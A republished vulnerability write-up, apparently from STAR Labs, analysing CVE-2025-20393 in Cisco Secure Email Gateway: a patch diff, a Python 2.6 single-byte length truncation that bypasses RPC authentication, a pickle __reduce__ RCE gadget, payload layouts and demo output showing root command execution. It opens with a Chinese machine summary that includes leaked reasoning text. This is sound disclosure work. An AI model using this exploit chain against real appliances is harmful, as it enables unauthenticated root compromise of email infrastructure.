Pickling the Mailbox: A Deep Dive into CVE-2025-20393
好的,我现在需要帮用户总结一篇文章的内容,控制在100个字以内。用户已经提供了文章的详细内容,我需要先通读一遍,抓住关键点。 文章主要讲的是Cisco在2025年12月发布的一个安全公告,涉及CVE-2025-20393这个高危漏洞,CVSS评分是10.0。这个漏洞影响了Cisco的Secure Email Gateway和Secure Email and Web Manager。文章提到Cisco的安全公告技术细节很少,只提到了输入验证的问题。 接下来,研究人员通过逆向工程和代码分析,发现了漏洞的根本原因:EUQ RPC协议中的一个单字节整数溢出问题。这个漏洞允许攻击者绕过身份验证,并利用Python的pickle反序列化来实现远程代码执行。 文章还详细描述了漏洞的利用过程,包括如何构造恶意请求,以及如何利用Python 2.6中的struct.pack函数的特性来触发溢出。最终,攻击者可以通过发送一个HTTP请求来执行任意代码。 总结一下,文章的主要内容包括:漏洞的发现、技术细节、利用方法以及影响。因此,在总结时需要涵盖这些关键点:CVE编号、漏洞类型、影响范围、技术细节(如溢出和pickle反序列化)以及攻击方式。 </think> Cisco于2025年12月披露了CVE-2025-20393漏洞(CVSS 10.0),影响其Secure Email Gateway和Web Manager产品。该漏洞源于EUQ RPC协议中的单字节整数溢出问题,结合Python 2.6的struct.pack函数特性,导致身份验证绕过并触发pickle反序列化远程代码执行。攻击者可通过构造特定HTTP请求实现未授权远程控制。 2026-2-5 00:0:0 Author: starlabs.sg(查看原文) 阅读量:5 收藏

TL;DR

In December 2025, Cisco published https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-sma-attack-N9bf4 addressing CVE-2025-20393, a critical vulnerability (CVSS 10.0) affecting Cisco Secure Email Gateway and Secure Email and Web Manager. The advisory was notably sparse on technical details, describing only “Improper Input Validation” (CWE-20).

We decided to dig deeper. Through reverse engineering and code analysis of AsyncOS 15.5.3, we uncovered the root cause: a single-byte integer overflow in the EUQ RPC protocol that bypasses authentication and chains into Python pickle deserialization — achieving unauthenticated remote code execution with a single HTTP request.

This post documents our reproduction and analysis of CVE-2025-20393.

Introduction

On December 17, 2025, Cisco released a security advisory for a critical vulnerability affecting their email security products:

Field Value
Advisory ID cisco-sa-sma-attack-N9bf4
CVE CVE-2025-20393
CVSS 3.1 10.0 (Critical)
CWE CWE-20 (Improper Input Validation)
Affected Products Cisco Secure Email Gateway (SEG), Secure Email and Web Manager (SMA)
Bug IDs CSCws36549, CSCws52505
Workarounds None available

A CVSS score of 10.0 is rare — it indicates an unauthenticated, network-exploitable vulnerability with complete system compromise. Yet the advisory offered minimal technical insight, leaving security practitioners wondering: what exactly is being exploited?

We obtained a copy of AsyncOS 15.5.3 firmware and set out to answer that question.

Our approach? Wait for the patch, then diff it.


Patch Diffing: Finding the Needle

When the patched AsyncOS firmware became available, we extracted both versions and started comparing. The EUQ (End User Quarantine) service immediately caught our attention — it’s network-exposed on port 83 and heavily uses Python.

Comparing CommandMessage.py between AsyncOS 15.5.3 (vulnerable) and the patched version a(15.5.4):

$ diff AsyncOS_15_5_3/site-packages/zeus/CommandMessage.py \
         AsyncOS_patched/site-packages/zeus/CommandMessage.py
                            
  30a26,47
  >     if destination is not None:
  >         if len(destination) >= 255:
  >             debug_str = 'DEBUG:send_message:Invalid destination len:%r source len:%r message_type:%r ttl:%r message_len:%r' % (
  >              len(destination),
  >              len(source),
  >              message_type,
  >              ttl,
  >              len(message))
  >             coro.print_stderr(debug_str)
  >             coro.print_stderr(who_calls.who_calls())
  >             raise Commandment.MessageFormatError()
  >     if source is not None:
  >         if len(source) >= 255:
  >             debug_str = 'DEBUG:send_message:Invalid source len:%r source len:%r message_type:%r ttl:%r message_len:%r' % (
  >              len(source),
  >              len(destination),
  >              message_type,
  >              ttl,
  >              len(message))
  >             coro.print_stderr(debug_str)
  >             coro.print_stderr(who_calls.who_calls())
  >             raise Commandment.MessageFormatError()

The patch adds explicit validation: destination and source must be less than 255 bytes. If exceeded, a MessageFormatError is raised.

The Critical Question

When my colleague Jiantao reviewed this diff, he asked the key question: “Why 255? What happens if someone sends 256 bytes?” That seemingly simple question unlocked the entire vulnerability chain.


The Python 2.6 Factor

Looking at the decompiled header of the vulnerable file:

  # Python bytecode version base 2.6 (62161)
  # Compiled at: 2024-11-27 14:22:42

AsyncOS uses Python 2.6 — a version released in 1st October 2008 and EOL since 29th October 2013. This matters because Python 2.6’s struct.pack has a critical behavioral difference from modern Python.

Modern Python (3.x): Strict Validation

$ python3
Python 3.12.9 (main, Sep 14 2025, 23:32:51) [Clang 16.0.0 (clang-1600.0.26.6)] on darwin
Type "help", "copyright", "credits" or "license" for more information.
>>> import struct
>>> struct.pack('>B', 256)
Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
struct.error: 'B' format requires 0 <= number <= 255
>>>

Python 3 raises an exception when the value exceeds the format’s range.

Python 2.6: Silent Truncation

Python 2.6.9
>>> import struct
>>> struct.pack('>B', 256)
'\x00'
>>> struct.pack('>B', 289)
'!'
>>> ord('!')
33

Python 2.6 silently truncates the value to fit within the byte range:

  256 % 256 = 0   → '\x00'
  289 % 256 = 33  → '!' (0x21)
  512 % 256 = 0   → '\x00'

This is the integer overflow. In Python 2.6, struct.pack('>B', 256) doesn’t fail — it returns 0x00.

Why This Matters

The RPC message packing code uses:

dst_len = struct.pack('>B', len(destination))

If len(destination) = 256:

  • Python 3: Exception raised, attack fails
  • Python 2.6: dst_len = ‘\x00’, attack succeed

Cisco’s ancient Python 2.6 runtime transformed a potential crash into an exploitable overflow.


Background: EUQ RPC Protocol

Now that we understand why the overflow occurs, let’s examine where and how.

The End User Quarantine Service

EUQ allows email recipients to manage quarantined messages via a web interface on port 83. The architecture:


  ┌─────────────┐      HTTPS/83      ┌─────────────┐      RPC       ┌─────────────┐
  │   End User  │ ◄───────────────►  │  EUQ Web    │ ◄────────────► │  EUQ Backend│
  │   Browser   │                    │  Frontend   │                │  (Python)   │
  └─────────────┘                    └─────────────┘                └─────────────┘
                                     /Search endpoint
                                     ?auth=...&serial=...

The Message Header Definition

In Commandment.py, the RPC message header format is defined:

at Commandment.py (Lines 7-8)

HEADER = '>BBIIBB32s'
HEADER_LENGTH = struct.calcsize(HEADER)

Let’s decode this struct format string:

Format Type Size Field
> Big-endian - Byte order modifier
B unsigned char 1 byte version
B unsigned char 1 byte ttl
I unsigned int 4 bytes message_length
I unsigned int 4 bytes message_type
B unsigned char 1 byte source_length
B unsigned char 1 byte destination_length
32s char[32] 32 bytes txn_tag

Total header size: 1+1+4+4+1+1+32 = 44 bytes

The vulnerability is in source_length and destination_length — both are defined as single-byte unsigned chars (B), limiting their range to 0-255.

Message Construction: send_message()

def send_message(write_method, message_type, source, destination='', message='', ttl=0, timeout=0, tag=None):
    header = struct.pack(Commandment.HEADER, Commandment.MESSAGE_VERSION, ttl, len(message), message_type, len(source), len(destination), _message_tag(tag))
    if timeout:
        coro.with_timeout(timeout, write_method, header + source + destination)
        for x in xrange(0, len(message), MAX_PACKET_SIZE):
            coro.with_timeout(timeout, write_method, message[x:x + MAX_PACKET_SIZE])

    else:
        packet = header + source + destination + message
        write_method(packet)
    return

Critical observation at line 31: When len(destination) exceeds 255, Python 2.6’s struct.pack with format ‘B’ silently truncates the value:

# Python 2.6 behavior demonstration
>>> import struct
>>> struct.pack('>B', 256)   # Expected: error, Actual: '\x00'
'\x00'
>>> struct.pack('>B', 289)   # Expected: error, Actual: '!' (0x21 = 33)
'!'

The receiving end parses messages using read_message():

Message Parsing: read_message()

# CommandMessage.py (Lines 74-89)
def read_message(read_method, timeout=0):
    # Read the fixed-size header (44 bytes)
    header = _read(read_method, Commandment.HEADER_LENGTH, timeout)

    try:
        # Unpack header fields
        (version, ttl, message_length, message_type,
         source_length, destination_length, txn_tag) = struct.unpack(
            Commandment.HEADER, header)
    except struct.error:
        raise Commandment.MessageFormatError()

    # Validate protocol version
    if version != Commandment.MESSAGE_VERSION:
        raise Commandment.MessageVersionError(version, Commandment.MESSAGE_VERSION)

    # Read source field based on source_length
    source = _read(read_method, source_length, timeout)

    # Read destination field based on destination_length
    if destination_length:    # ← [A] Check
        destination = _read(read_method, destination_length, timeout)
    else:
        destination = ''      # ← [B] When destination_length=0, empty string!

    # Read message payload
    message = _read(read_method, message_length, timeout)

    return (txn_tag.rstrip('\x00'), ttl, message_type, source, destination, message)

Key vulnerability path (lines 84-87): Key vulnerability path at [A] and [B]:

  • When destination_length = 0 (due to overflow), the code takes the else branch
  • destination is set to empty string '’
  • No authentication validation occurs on an empty destination
  • The attacker-controlled message payload proceeds to cPickle.loads()

Complete Message Structure

Based on the code analysis, the full RPC message format is:


  ┌─────────────────────────────────── HEADER (44 bytes) ───────────────────────────────────┐
                                                                                            
    ┌─────────┬─────────┬──────────────┬──────────────┬────────────┬─────────────┬────────┐ 
     version    ttl    message_len   message_type  source_len   dest_len   txn_tag  
      (1B)     (1B)       (4B)          (4B)         (1B)       (1B)        (32B)   
       'B'      'B'       'I'           'I'           'B'        'B'        '32s'   
    └─────────┴─────────┴──────────────┴──────────────┴────────────┴─────────────┴────────┘ 
                                                                                            
  └──────────────────────────────────────────────────────────────────────────────────────────┘
                                              
                                              
  ┌──────────────────────────────────── BODY (variable) ────────────────────────────────────┐
                                                                                            
    ┌────────────────────────┬─────────────────────────┬──────────────────────────────────┐ 
            source                destination                    message                
       (source_len bytes)      (dest_len bytes)            (message_len bytes)          
                                                            cPickle.loads()            
    └────────────────────────┴─────────────────────────┴──────────────────────────────────┘ 
                                                                                            
  └──────────────────────────────────────────────────────────────────────────────────────────┘

Vulnerability Analysis

The Overflow Chain

Let’s trace what happens when we send a 256-byte destination:

Step 1: Message Packing (Sender Side)

  # In send_message() - vulnerable version
  destination = attacker_controlled_256_bytes
  header = struct.pack('>BBIIBB32s',
      ...,
      len(destination),  # 256 → Python 2.6 truncates to 0x00
      ...
  )

Step 2: Message Parsing (Receiver Side)

# In read_message()
(version, ttl, message_length, message_type,
 source_length, destination_length, txn_tag) = struct.unpack('>BBIIBB32s', header)

# destination_length = 0 (from overflow)

if destination_length:    # False!
    destination = _read(read_method, destination_length, timeout)
else:
    destination = ''      # Empty string, auth bypassed!

message = _read(read_method, message_length, timeout)
return (..., destination, message)  # Attacker's pickle goes to handler

Step 3: RCE via Pickle

# In RPC handler
result = cPickle.loads(message)  # Attacker-controlled deserialization → RCE

Code Flow Diagram

                      Attacker sends 256-byte serial parameter
                                      
                                      
  ┌─────────────────────────────────────────────────────────────────────────────┐
    send_message()  @ CommandMessage.py:30                                     
                                                                               
      destination = attacker_payload (256 bytes)                               
                                                                              
                                                                              
      struct.pack('>BBIIBB32s', ..., len(destination), ...)                    
      struct.pack(..., 256, ...)                                               
                                                                              
                                                                              
      Python 2.6: 256 % 256 = 0  '\x00'   INTEGER OVERFLOW                   
                                                                               
  └─────────────────────────────────────────────────────────────────────────────┘
                                      
                                       Network transmission
                                      
  ┌─────────────────────────────────────────────────────────────────────────────┐
    read_message()  @ CommandMessage.py:74                                     
                                                                               
      header = _read(read_method, 44, timeout)                                 
      (..., dest_len, ...) = struct.unpack('>BBIIBB32s', header)               
                                                                              
                                                                              
      dest_len = 0   FROM OVERFLOW                                            
                                                                              
                                                                              
      if dest_len:       # False!                                              │
          destination = _read(read_method, dest_len, timeout)                  
      else:                                                                    
          destination = ''   EMPTY, AUTH BYPASSED                             
                                                                              
                                                                              
      message = _read(read_method, message_len, timeout)                       
      return (..., destination, message)                                       
                                                                               
  └─────────────────────────────────────────────────────────────────────────────┘
                                      
                                      
  ┌─────────────────────────────────────────────────────────────────────────────┐
    RPC Handler                                                                
                                                                               
      (_, _, _, _, destination, message) = read_message(...)                   
                                                                              
                                                                              
      # destination = '' (empty) - validation skipped or passes                │
                                                                              
                                                                              
      result = cPickle.loads(message)   ATTACKER-CONTROLLED PICKLE            
                                                                              
                                                                              
      os.system('attacker_command')   RCE ACHIEVED                            
                                                                               
  └─────────────────────────────────────────────────────────────────────────────┘

Why Pickle is Dangerous

For completeness, here’s why cPickle.loads() on untrusted input is catastrophic:

import pickle
import os

class Exploit:
  def __reduce__(self):
      return (os.system, ('id',))

# Serialize
payload = pickle.dumps(Exploit())

# When deserialized, executes: os.system('id')
pickle.loads(payload)  # uid=0(root) gid=0(wheel)...

The __reduce__ method tells pickle how to reconstruct the object — and that “reconstruction” can be arbitrary code execution.

Exploitation Strategy: Authentication Bypass Deep Dive

The Authentication Problem

In normal operation, the EUQ RPC protocol uses the destination field for authentication. The server validates that incoming messages are addressed to its own serial number:

# Simplified authentication logic in RPC handler
  def handle_rpc_message(message_data):
      (_, _, _, source, destination, message) = read_message(...)

      # Authentication check: destination must match server's serial
      if destination != MY_SERIAL_NUMBER:
          raise AuthenticationError("Message not for this server")

      # Only if auth passes, process the message
      result = cPickle.loads(message)

The challenge: To exploit the pickle deserialization, we need to pass the authentication check. But how can we know the target server’s serial number

Two Exploitation Approaches

We developed two distinct exploitation strategies:

  • Serial: “564D3D47E3BCFBA26307-2EC835E2635A” (33 bytes)
  • Payload length: 256 + 33 = 289 bytes
  • Overflow: 289 % 256 = 33 ✓

Server reads 33 bytes as destination → matches serial → auth passes

Approach Requirement Overflow Value Use Case
Serial Matching Know target’s serial dst_len = serial_len When serial is leaked
Zero-Length Bypass Nothing dst_len = 0 Universal, no prerequisites

Payload layout:

┌────────────────────────┬────────────────────┬─────────────────┐
     Server Serial         Pickle Payload       Padding      
       (33 bytes)           (72 bytes)        (184 bytes)    
└────────────────────────┴────────────────────┴─────────────────┘
  Total: 289 bytes  289 % 256 = 33

                                  
                                  
    Passes auth check      cPickle.loads()  RCE

Approach 2: Zero-Length Bypass (No Prerequisites) ✓

The key insight from Jiantao was recognizing that dst_len = 0 creates a special case. Let’s examine the read_message() code again:

# CommandMessage.py (Lines 84-87)
def read_message(read_method, timeout=0):
    # ... unpack header ...

    # destination_length comes from header (attacker-controlled via overflow)
    if destination_length:                    # [1] Check if non-zero
        destination = _read(read_method, destination_length, timeout)
    else:
        destination = ''                      # [2] Empty string when dst_len=0!

    # ... continue processing ...

When destination_length = 0:

  1. The if destination_length: check at [1] evaluates to False (0 is falsy)
  2. Code takes the else branch at [2]
  3. destination is set to empty string '’
  4. No bytes are read from the network for destination

Why Empty Destination Bypasses Auth

Through our analysis, we identified that the authentication check has one of these behaviors when destination is empty:

  if destination:  # Empty string is falsy in Python
      if destination != MY_SERIAL_NUMBER:
          raise AuthenticationError(...)
  # Empty destination → validation skipped entirely

  Scenario B: Broadcast/local message handling
  if destination == '' or destination == MY_SERIAL_NUMBER:
      # Accept message (empty = broadcast or local)
      process_message(...)

  Scenario C: Error handling falls through
  try:
      validate_destination(destination)  # May not handle empty case
  except:
      pass  # Silently continue

In any of these cases, an empty destination allows the message to proceed to cPickle.loads().

Comparison: Serial Matching vs Zero-Length


  ┌─────────────────────────────────────────────────────────────────────────────┐
                          SERIAL MATCHING APPROACH                             
  ├─────────────────────────────────────────────────────────────────────────────┤
    Payload: [SERIAL (33B)] [PICKLE (72B)] [PADDING (184B)] = 289 bytes        
                                                                               
    Overflow: 289 % 256 = 33                                                   
                                                                               
    Server reads:                                                              
      dst_len = 33                                                             
      destination = payload[0:33] = "564D3D47E3BCFBA26307-2EC835E2635A"        
      Auth check: destination == MY_SERIAL  PASS                             
      message = payload[33:105] = pickle_gadget                                
      cPickle.loads(message)  RCE                                             
                                                                               
    Requirement: Must know server's serial number                              │
  └─────────────────────────────────────────────────────────────────────────────┘

  ┌─────────────────────────────────────────────────────────────────────────────┐
                        ZERO-LENGTH BYPASS APPROACH                           
  ├─────────────────────────────────────────────────────────────────────────────┤
    Payload: [PICKLE (72B)] [PADDING (184B)] = 256 bytes                       
                                                                               
    Overflow: 256 % 256 = 0                                                    
                                                                               
    Server reads:                                                              
      dst_len = 0                                                              
      if dst_len: ... else: destination = ''   EMPTY STRING                   
      Auth check: destination == ''  BYPASS!                                 
      message = payload[0:72] = pickle_gadget                                  
      cPickle.loads(message)  RCE                                             
                                                                               
    Requirement: NONE - works against any target                               
  └─────────────────────────────────────────────────────────────────────────────┘
  

Why We Chose Zero-Length Bypass

Demo

 $ python3 exploit.py 192.168.2.10 'id > /tmp/pwned'

  ======================================================================
  CVE-2025-20393 - Cisco Secure Email Gateway RCE
  Advisory: cisco-sa-sma-attack-N9bf4
  ======================================================================

  [*] Target:   https://192.168.2.10:83
  [*] Command:  id > /tmp/pwned

  [*] Exploit Details:
      ├─ Python 2.6 struct.pack('>B', 256) = 0x00 (truncated)
      ├─ Pickle gadget:  72 bytes
      ├─ Padding:        184 bytes
      ├─ Total payload:  256 bytes
      └─ Overflow:       256 % 256 = 0

  [*] URL length: 891 bytes

  [*] Sending exploit...
  [+] Read timeout - likely successful!
      (Server busy executing pickle payload)

  [*] Verify:
      $ ssh [email protected] 'cat /tmp/pwned'

  Verification

  $ ssh [email protected] 'cat /tmp/pwned'
  uid=0(root) gid=0(wheel) groups=0(wheel),5(operator)

Conclusion

CVE-2025-20393 demonstrates the compounding danger of technical debt:

  1. Python 2.6 — A 17-year-old runtime with unsafe default behaviors
  2. 1-byte length fields — A premature optimization creating overflow conditions
  3. Pickle deserialization — Convenient but equivalent to eval() on untrusted input
  4. Missing validation — The patch shows what should have existed from day one

The vulnerability was hiding in plain sight. When Cisco added if len(destination) >= 255: raise Error, they revealed exactly where the bug was. Sometimes the best vulnerability research is just reading the diff.

References


文章来源: https://starlabs.sg/blog/2026/02-pickling-the-mailbox-a-deep-dive-into-cve-2025-20393/
如有侵权请联系:admin#unsafe.sh